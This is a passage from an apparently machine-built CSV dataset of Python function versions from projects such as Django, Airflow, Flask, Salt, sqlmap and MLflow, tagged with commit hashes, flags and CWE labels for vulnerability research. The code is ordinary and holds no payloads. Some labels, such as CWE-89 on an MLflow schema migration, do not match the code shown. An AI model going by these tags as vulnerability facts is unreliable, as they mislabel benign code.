        assert response[""Grants""][0][""Permission""] == ""FULL_CONTROL""",CWE-703,apache/airflow,9721e0b82d6102847b840955e8351cce06d4184a,"def test_load_string_acl(self, s3_bucket):
        hook = S3Hook()
        hook.load_string(""Contént"", ""my_key"", s3_bucket, acl_policy=""public-read"")
        response = boto3.client(""s3"").get_object_acl(Bucket=s3_bucket, Key=""my_key"", RequestPayer=""requester"")
        assert (response[""Grants""][1][""Permission""] == ""READ"") and (
            response[""Grants""][0][""Permission""] == ""FULL_CONTROL""
        )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/contenttypes/fields.py,0,"def _apply_rel_filters(self, queryset):
            """"""
            Filter the queryset for the instance this manager is bound to.
            """"""
            db = self._db or router.db_for_read(self.model, instance=self.instance)
            return queryset.using(db).filter(**self.core_filters)",CWE-Unknown,django/django,c02d473781dc2e8699db8edd37cc77f7d43993fc,"def _apply_rel_filters(self, queryset):
            """"""
            Filter the queryset for the instance this manager is bound to.
            """"""
            db = self._db or router.db_for_read(self.model, instance=self.instance)
            return queryset.using(db).filter(**self.core_filters)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_utils/get_all_tests.py,0,"def last_replace(s, old, new, number_of_occurrences):
    """"""
    Replaces last n occurrences of the old string with the new one within the string provided

    :param s: string to replace occurrences with
    :param old: old string
    :param new: new string
    :param number_of_occurrences: how many occurrences should be replaced
    :return: string with last n occurrences replaced
    """"""
    list_of_components = s.rsplit(old, number_of_occurrences)
    return new.join(list_of_components)",CWE-Unknown,apache/airflow,4903c9730c09f8a98bdf1d891479be0b1cd238c8,"def last_replace(s, old, new, number_of_occurrences):
    """"""
    Replaces last n occurrences of the old string with the new one within the string provided
    :param s: string to replace occurrences with
    :param old: old string
    :param new: new string
    :param number_of_occurrences: how many occurrences should be replaced
    :return: string with last n occurrences replaced
    """"""
    list_of_components = s.rsplit(old, number_of_occurrences)
    return new.join(list_of_components)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/auth_tests/test_handlers.py,0,"def test_check_password(self):
        """"""
        Verify that check_password returns the correct values as per
        https://modwsgi.readthedocs.org/en/develop/user-guides/access-control-mechanisms.html#apache-authentication-provider
        """"""
        User.objects.create_user('test', 'test@example.com', 'test')

        # User not in database
        self.assertIsNone(check_password({}, 'unknown', ''))

        # Valid user with correct password
        self.assertTrue(check_password({}, 'test', 'test'))

        # correct password, but user is inactive
        User.objects.filter(username='test').update(is_active=False)
        self.assertFalse(check_password({}, 'test', 'test'))

        # Valid user with incorrect password
        self.assertFalse(check_password({}, 'test', 'incorrect'))",CWE-Unknown,django/django,6679cdd92c71a77f1809c180174de026a6c17918,"def test_check_password(self):
        """"""
        Verify that check_password returns the correct values as per
        http://code.google.com/p/modwsgi/wiki/AccessControlMechanisms#Apache_Authentication_Provider
        """"""
        User.objects.create_user('test', 'test@example.com', 'test')

        # User not in database
        self.assertIsNone(check_password({}, 'unknown', ''))

        # Valid user with correct password
        self.assertTrue(check_password({}, 'test', 'test'))

        # correct password, but user is inactive
        User.objects.filter(username='test').update(is_active=False)
        self.assertFalse(check_password({}, 'test', 'test'))

        # Valid user with incorrect password
        self.assertFalse(check_password({}, 'test', 'incorrect'))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/result_store.py,0,"def __init__(self, logger, config, agg_type):
        self.count = 0
        self.skipped = []
        self.logger = logger
        self.config = config
        self.agg_type = agg_type
        self.level = 0
        self.max_lines = -1",UNKNOWN,PyCQA/bandit,41fd5946fafb3e4b9ebfc8e430f3f4d0f7f82a21,"def __init__(self, logger, config, agg_type):
        self.count = 0
        self.skipped = []
        self.logger = logger
        self.config = config
        self.agg_type = agg_type
        self.level = 0"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/connection/winrm.py,0,"def __init__(self,  *args, **kwargs):

        self.has_pipelining   = False
        self.protocol         = None
        self.shell_id         = None
        self.delegate         = None
        self._shell_type      = 'powershell'

        # FUTURE: Add runas support

        super(Connection, self).__init__(*args, **kwargs)",,ansible/ansible,6b286ee0c88f3252a27ff94f39d794566c3f7d6f,"def __init__(self,  *args, **kwargs):

        self.has_pipelining   = False
        self.protocol         = None
        self.shell_id         = None
        self.delegate         = None
        self._shell_type      = 'powershell'

        # FUTURE: Add runas support

        super(Connection, self).__init__(*args, **kwargs)"
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/state/test_state.py,1,"def test_issue_62264_requisite_not_found(state, state_tree):
    """"""
    This tests that the proper state module is referenced for _in requisites
    when no explicit state module is given.
    Context: https://github.com/saltstack/salt/pull/62264
    """"""
    sls_contents = """"""
    stuff:
      cmd.run:
        - name: echo hello

    thing_test:
      cmd.run:
        - name: echo world
        - require_in:
          - /stuff/*
          - test: service_running

    service_running:
      test.succeed_without_changes:
        - require:
          - cmd: stuff
    """"""
    with pytest.helpers.temp_file(""issue-62264.sls"", sls_contents, state_tree):
        ret = state.sls(""issue-62264"")
        for state_return in ret:
            assert state_return.result is True
            assert ""The following requisites were not found"" not in state_return.comment",CWE-703,saltstack/salt,43c0012250ee5620d44d3fe8778cbd99dbe442d4,"def test_issue_62264_requisite_not_found(state, state_tree):
    """"""
    This tests that the proper state module is referenced for _in requisites
    when no explicit state module is given.
    Context: https://github.com/saltstack/salt/pull/62264
    """"""
    sls_contents = """"""
    stuff:
      cmd.run:
        - name: echo hello

    thing_test:
      cmd.run:
        - name: echo world
        - require_in:
          - /stuff/*
          - test: service_running

    service_running:
      test.succeed_without_changes:
        - require:
          - cmd: stuff
    """"""
    with pytest.helpers.temp_file(""issue-62264.sls"", sls_contents, state_tree):
        ret = state.sls(""issue-62264"")
        for state_return in ret:
            assert state_return.result is True
            assert ""The following requisites were not found"" not in state_return.comment"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/cli.py,0,"def load_app(self) -> Flask:
        """"""Loads the Flask app (if not yet loaded) and returns it.  Calling
        this multiple times will just result in the already loaded app to
        be returned.
        """"""
        if self._loaded_app is not None:
            return self._loaded_app
        app: Flask | None = None
        if self.create_app is not None:
            app = self.create_app()
        else:
            if self.app_import_path:
                path, name = (
                    re.split(r"":(?![\\/])"", self.app_import_path, maxsplit=1) + [None]
                )[:2]
                import_name = prepare_import(path)
                app = locate_app(import_name, name)
            else:
                for path in (""wsgi.py"", ""app.py""):
                    import_name = prepare_import(path)
                    app = locate_app(import_name, None, raise_if_not_found=False)

                    if app is not None:
                        break

        if app is None:
            raise NoAppException(
                ""Could not locate a Flask application. Use the""
                "" 'flask --app' option, 'FLASK_APP' environment""
                "" variable, or a 'wsgi.py' or 'app.py' file in the""
                "" current directory.""
            )

        if self.set_debug_flag:
            # Update the app's debug flag through the descriptor so that
            # other values repopulate as well.
            app.debug = get_debug_flag()

        self._loaded_app = app
        return app",,pallets/flask,e8b91cd38aadafdf733558bbcea4810fa65bb849,"def load_app(self) -> Flask:
        """"""Loads the Flask app (if not yet loaded) and returns it.  Calling
        this multiple times will just result in the already loaded app to
        be returned.
        """"""
        if self._loaded_app is not None:
            return self._loaded_app

        if self.create_app is not None:
            app: Flask | None = self.create_app()
        else:
            if self.app_import_path:
                path, name = (
                    re.split(r"":(?![\\/])"", self.app_import_path, maxsplit=1) + [None]
                )[:2]
                import_name = prepare_import(path)
                app = locate_app(import_name, name)
            else:
                for path in (""wsgi.py"", ""app.py""):
                    import_name = prepare_import(path)
                    app = locate_app(import_name, None, raise_if_not_found=False)

                    if app is not None:
                        break

        if app is None:
            raise NoAppException(
                ""Could not locate a Flask application. Use the""
                "" 'flask --app' option, 'FLASK_APP' environment""
                "" variable, or a 'wsgi.py' or 'app.py' file in the""
                "" current directory.""
            )

        if self.set_debug_flag:
            # Update the app's debug flag through the descriptor so that
            # other values repopulate as well.
            app.debug = get_debug_flag()

        self._loaded_app = app
        return app"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.profile:
                from lib.core.profiling import profile
                profile()
            elif conf.smokeTest:
                from lib.core.testing import smokeTest
                smokeTest()
            elif conf.liveTest:
                from lib.core.testing import liveTest
                liveTest()
            else:
                from lib.controller.controller import start
                try:
                    start()
                except thread.error as ex:
                    if ""can't start new thread"" in getSafeExString(ex):
                        errMsg = ""unable to start new threads. Please check OS (u)limits""
                        logger.critical(errMsg)
                        raise SystemExit
                    else:
                        raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        try:
            if valid is False:
                errMsg = ""code integrity check failed (turning off automatic issue creation). ""
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif ""MemoryError"" in excMsg:
                errMsg = ""memory exhaustion detected""
                logger.error(errMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""No such file"", ""_'"", ""self.get_prog_name()"")):
                errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.error(errMsg)
                raise SystemExit

            elif ""Read-only file system"" in excMsg:
                errMsg = ""output device is mounted as read-only""
                logger.error(errMsg)
                raise SystemExit

            elif ""OperationalError: disk I/O error"" in excMsg:
                errMsg = ""I/O error on output device""
                logger.error(errMsg)
                raise SystemExit

            elif ""Violation of BIDI"" in excMsg:
                errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
                logger.error(errMsg)
                raise SystemExit

            elif ""_mkstemp_inner"" in excMsg:
                errMsg = ""there has been a problem while accessing temporary files""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
                errMsg = ""please update the 'sqlalchemy' package ""
                errMsg += ""(Reference: https://github.com/apache/incubator-superset/issues/3447)""
                logger.error(errMsg)
                raise SystemExit

            elif ""must be pinned buffer, not bytearray"" in excMsg:
                errMsg = ""error occurred at Python interpreter which ""
                errMsg += ""is fixed in 2.7.x. Please update accordingly ""
                errMsg += ""(Reference: https://bugs.python.org/issue8104)""
                logger.error(errMsg)
                raise SystemExit

            elif ""can't start new thread"" in excMsg:
                errMsg = ""there has been a problem while creating new thread instance. ""
                errMsg += ""Please make sure that you are not running too many processes""
                if not IS_WIN:
                    errMsg += "" (or increase the 'ulimit -u' value)""
                logger.error(errMsg)
                raise SystemExit

            elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
                errMsg = ""there has been a problem in enumeration. ""
                errMsg += ""Because of a considerable chance of false-positive case ""
                errMsg += ""you are advised to rerun with switch '--flush-session'""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            elif ""url = url.strip()"" in excMsg:
                dataToStdout(excMsg)
                print
                errMsg = ""please contact 'miroslav@sqlmap.org' with details for this issue ""
                errMsg += ""as he is trying to reproduce it for long time""
                logger.error(errMsg)
                raise SystemExit

            elif kb.get(""dumpKeyboardInterrupt""):
                raise SystemExit

            elif any(_ in excMsg for _ in (""Broken pipe"",)):
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            if conf.get(""api"") or not valid:
                logger.critical(""%s\n%s"" % (errMsg, excMsg))
            else:
                logger.critical(errMsg)
                kb.stickyLevel = logging.CRITICAL
                dataToStdout(excMsg)
                createGithubIssue(errMsg, excMsg)

        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass
            if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
                shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if conf.get(""harFile""):
            with openFile(conf.harFile, ""w+b"") as f:
                json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if conf.get(""api""):
            try:
                conf.databaseCursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        try:
            _ = time.time()
            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                time.sleep(0.01)
        except KeyboardInterrupt:
            pass
        finally:
            # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
            if threading.activeCount() > 1:
                os._exit(0)",,sqlmapproject/sqlmap,c634f0b0d6261aa900cae9d7d910e18abf19c9fd,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.profile:
                from lib.core.profiling import profile
                profile()
            elif conf.smokeTest:
                from lib.core.testing import smokeTest
                smokeTest()
            elif conf.liveTest:
                from lib.core.testing import liveTest
                liveTest()
            else:
                from lib.controller.controller import start
                try:
                    start()
                except thread.error as ex:
                    if ""can't start new thread"" in getSafeExString(ex):
                        errMsg = ""unable to start new threads. Please check OS (u)limits""
                        logger.critical(errMsg)
                        raise SystemExit
                    else:
                        raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        try:
            if valid is False:
                errMsg = ""code integrity check failed (turning off automatic issue creation). ""
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif ""MemoryError"" in excMsg:
                errMsg = ""memory exhaustion detected""
                logger.error(errMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""No such file"", ""_'"", ""self.get_prog_name()"")):
                errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.error(errMsg)
                raise SystemExit

            elif ""Read-only file system"" in excMsg:
                errMsg = ""output device is mounted as read-only""
                logger.error(errMsg)
                raise SystemExit

            elif ""OperationalError: disk I/O error"" in excMsg:
                errMsg = ""I/O error on output device""
                logger.error(errMsg)
                raise SystemExit

            elif ""Violation of BIDI"" in excMsg:
                errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
                logger.error(errMsg)
                raise SystemExit

            elif ""_mkstemp_inner"" in excMsg:
                errMsg = ""there has been a problem while accessing temporary files""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
                errMsg = ""please update the 'sqlalchemy' package""
                errMsg += ""(Reference: https://github.com/apache/incubator-superset/issues/3447)""
                logger.error(errMsg)
                raise SystemExit

            elif ""can't start new thread"" in excMsg:
                errMsg = ""there has been a problem while creating new thread instance. ""
                errMsg += ""Please make sure that you are not running too many processes""
                if not IS_WIN:
                    errMsg += "" (or increase the 'ulimit -u' value)""
                logger.error(errMsg)
                raise SystemExit

            elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
                errMsg = ""there has been a problem in enumeration. ""
                errMsg += ""Because of a considerable chance of false-positive case ""
                errMsg += ""you are advised to rerun with switch '--flush-session'""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            elif ""url = url.strip()"" in excMsg:
                dataToStdout(excMsg)
                print
                errMsg = ""please contact 'miroslav@sqlmap.org' with details for this issue ""
                errMsg += ""as he is trying to reproduce it for long time""
                logger.error(errMsg)
                raise SystemExit

            elif kb.get(""dumpKeyboardInterrupt""):
                raise SystemExit

            elif any(_ in excMsg for _ in (""Broken pipe"",)):
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            if conf.get(""api"") or not valid:
                logger.critical(""%s\n%s"" % (errMsg, excMsg))
            else:
                logger.critical(errMsg)
                kb.stickyLevel = logging.CRITICAL
                dataToStdout(excMsg)
                createGithubIssue(errMsg, excMsg)

        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass
            if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
                shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if conf.get(""harFile""):
            with openFile(conf.harFile, ""w+b"") as f:
                json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if conf.get(""api""):
            try:
                conf.databaseCursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        try:
            _ = time.time()
            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                time.sleep(0.01)
        except KeyboardInterrupt:
            pass
        finally:
            # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
            if threading.activeCount() > 1:
                os._exit(0)"
,UNKNOWN,UNKNOWN,mlflow/store/db_migrations/versions/6dca653c92e6_convert_experiment_id_to_big_int.py,1,"def upgrade():
    # As part of MLflow 2.0 upgrade, the Experiment table's primary key `experiment_id`
    # has changed from an auto-incrementing column to a non-nullable unique-constrained Integer
    # column to support the uuid-based random id generation change.

    engine = op.get_bind()
    engine_name = engine.engine.name

    # NB: sqlite doesn't support foreign keys even if they are defined. Altering a constraint
    # in sqlite outside of batch operations doesn't work.
    if engine_name != ""sqlite"":

        foreign_keys_in_experiment_tags = inspect(engine).get_foreign_keys(""experiment_tags"")
        fk = foreign_keys_in_experiment_tags[0]
        op.drop_constraint(fk[""name""], table_name=""experiment_tags"", type_=""foreignkey"")

        # NB: MSSQL and MySQL have special restrictions on batch updates that foreign keys.
        # In order to handle type casting modifications, these constraints need to be dropped
        # prior to any ALTER commands within the batch context. After type changes are complete, we
        # will recreate these foreign keys (and give them names so that inspection isn't
        # required in the future).

        foreign_keys_in_runs = inspect(engine).get_foreign_keys(""runs"")
        fk_run = foreign_keys_in_runs[0]
        op.drop_constraint(fk_run[""name""], table_name=""runs"", type_=""foreignkey"")

        # NB: MSSQL requires that modifications to primary key columns do not have a primary key
        # status assigned to the columns. These primary keys will be recreated after altering
        # the columns typing.
        if engine_name == ""mssql"":
            op.drop_constraint(""experiment_pk"", table_name=""experiments"", type_=""primary"")
            op.drop_constraint(""experiment_tag_pk"", table_name=""experiment_tags"", type_=""primary"")

        experiments_table_args = PrimaryKeyConstraint(""experiment_id"", name=""experiment_pk"")
    else:
        experiments_table_args = []

    with op.batch_alter_table(
        ""experiments"",
        table_args=experiments_table_args,
    ) as batch_op:

        if engine_name == ""mssql"":
            batch_op.alter_column(
                ""experiment_id"",
                existing_type=sa.Integer,
                type_=sa.BigInteger,
                existing_nullable=False,
                nullable=False,
                existing_autoincrement=True,
                autoincrement=False,
                existing_server_default=None,
                existing_comment=None,
            )
        else:
            experiment_id_seq = Sequence(""experiment_id_seq"", start=1)
            batch_op.alter_column(
                ""experiment_id"",
                existing_type=sa.Integer,
                type_=sa.BigInteger,
                existing_nullable=False,
                nullable=False,
                existing_autoincrement=True,
                autoincrement=False,
                existing_server_default=experiment_id_seq.next_value(),
                server_default=None,
            )

    if engine_name == ""sqlite"":
        # NB: sqlite will perform an in-place copy of a table and recreate constraints as defined
        # in the `table_args` argument to the batch constructor.
        experiments_tags_table_args = (
            PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
            ForeignKeyConstraint(
                columns=[""experiment_id""], refcolumns=[""experiments.experiment_id""]
            ),
        )
    else:
        # For postgres and mysql, the primary key definition will be applied to the altered table
        # if defined in the `table_args` argument (and will be ignored in mssql).
        experiments_tags_table_args = (
            PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
        )

    with op.batch_alter_table(
        ""experiment_tags"",
        table_args=experiments_tags_table_args,
    ) as batch_op:
        batch_op.alter_column(
            ""experiment_id"",
            existing_type=sa.Integer,
            type_=sa.BigInteger,
            existing_nullable=False,
            nullable=False,
        )

    with op.batch_alter_table(
        ""runs"",
    ) as batch_op:
        batch_op.alter_column(
            ""experiment_id"",
            existing_type=sa.Integer,
            type_=sa.BigInteger,
            existing_nullable=True,
            nullable=True,
        )
        if engine_name == ""sqlite"":
            # sqlite will not port over unnamed constraints. Existing version has this
            # constraint defined as `CHECK()` rather than `CONSTRAINT <namme> CHECK()`
            batch_op.create_check_constraint(
                constraint_name=""status"",
                condition=""status IN ('SCHEDULED', 'FAILED', 'FINISHED', 'RUNNING', 'KILLED')"",
            )

    # NB: MSSQL identity columns cannot be modified. Copying data to new column.
    # Then, drooping original and renaming the new column.
    if engine_name == ""mssql"":

        # create the new column (cannot create non-nullable due to 'empty' column)
        op.add_column(
            ""experiments"", sa.Column(""exp_id"", sa.BigInteger, autoincrement=False, nullable=True)
        )

        # Existing `experiment_id` column due to autoincrement, has an identity property.
        # Allow for inserts in mssql with this column present.
        op.execute(""SET IDENTITY_INSERT experiments ON;"")

        # perform data migration by copying all experiment_id data to temporary column
        op.execute(""UPDATE experiments SET exp_id = experiment_id"")

        # drop column the old experiment_id column
        op.drop_column(table_name=""experiments"", column_name=""experiment_id"")

        # rename temporary column with required mssql arguments for converting to nullable
        op.alter_column(
            table_name=""experiments"",
            column_name=""exp_id"",
            new_column_name=""experiment_id"",
            existing_type=sa.BigInteger,
            type_=sa.BigInteger,
            existing_nullable=True,
            nullable=False,
        )

        # NB: there is no need to unset identity inserts since the identity column has been dropped.

    if engine_name != ""sqlite"":

        # NB: mssql requires that foreign keys reference primary keys prior to
        # creation of a foreign key. Recreate the primary keys that were previously dropped.
        if engine.engine.name == ""mssql"":
            op.create_primary_key(
                constraint_name=""experiment_pk"", table_name=""experiments"", columns=[""experiment_id""]
            )
            op.create_primary_key(
                constraint_name=""experiment_tag_pk"",
                table_name=""experiment_tags"",
                columns=[""key"", ""experiment_id""],
            )

        # Recreate the foreign key and name it for future direct reference
        op.create_foreign_key(
            constraint_name=""fk_experiment_tag"",
            source_table=""experiment_tags"",
            referent_table=""experiments"",
            local_cols=[""experiment_id""],
            remote_cols=[""experiment_id""],
        )

        op.create_foreign_key(
            constraint_name=""fk_runs_experiment_id"",
            source_table=""runs"",
            referent_table=""experiments"",
            local_cols=[""experiment_id""],
            remote_cols=[""experiment_id""],
        )

    _logger.info(""Conversion of experiment_id from autoincrement complete!"")",CWE-89,mlflow/mlflow,f4cc5e5c7de11f065f209827727d2c667c6d5797,"def upgrade():
    # As part of MLflow 2.0 upgrade, the Experiment table's primary key `experiment_id`
    # has changed from an auto-incrementing column to a non-nullable unique-constrained Integer
    # column to support the uuid-based random id generation change.

    engine = op.get_bind()
    engine_name = engine.engine.name

    # NB: sqlite doesn't support foreign keys even if they are defined. Altering a constraint
    # in sqlite outside of batch operations doesn't work.
    if engine_name != ""sqlite"":

        foreign_keys_in_experiment_tags = inspect(engine).get_foreign_keys(""experiment_tags"")
        fk = foreign_keys_in_experiment_tags[0]
        op.drop_constraint(fk[""name""], table_name=""experiment_tags"", type_=""foreignkey"")

        # NB: MSSQL and MySQL have special restrictions on batch updates that foreign keys.
        # In order to handle type casting modifications, these constraints need to be dropped
        # prior to any ALTER commands within the batch context. After type changes are complete, we
        # will recreate these foreign keys (and give them names so that inspection isn't
        # required in the future).

